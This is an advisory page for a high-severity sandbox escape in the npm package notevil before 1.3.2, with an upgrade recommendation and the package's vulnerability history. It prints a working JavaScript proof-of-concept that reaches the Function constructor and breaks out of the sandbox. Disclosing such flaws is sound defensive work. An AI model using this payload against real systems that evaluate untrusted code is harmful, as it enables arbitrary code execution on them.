High

Sandbox Breakout / Arbitrary Code Execution in notevil

  • Disclosed: 03.09.2020
  • Updated: 11.10.2026 10:22

Versions of notevil prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the Function constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:

var safeEval = require('notevil')
var input = "" + 
"function fn() {};" + 
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" + 
"var properties = Object.values(constructorProperty);" + 
"properties.pop();" + 
"properties.pop();" + 
"properties.pop();" + 
"var Function = properties.pop();" + 
"(Function('return this'))()"; 
safeEval(input)```


## Recommendation

Upgrade to version 1.3.2 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package notevil < 1.3.2 1.3.2

References

CVSS score -
Weakness (CWE)
-
Platform
npm
Package
notevil
Disclosed
03.09.2020
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7r5f-7qr4-pf6q - CC BY 4.0

Vulnerability history: notevil

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
09.2020 03.2022
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 2

Disclosures per year

  1. 2020: 2
  2. 2021: 0
  3. 2022: 1
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 0
  1. Medium · 6.5 CVE-2021-23771 <= 1.3.3 no fix
  2. Medium ghsa-9gxr-rhx6-4jgv < 1.3.3 1.3.3
  3. Sandbox Breakout / Arbitrary Code Execution in notevil this entry
    High ghsa-7r5f-7qr4-pf6q < 1.3.2 1.3.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.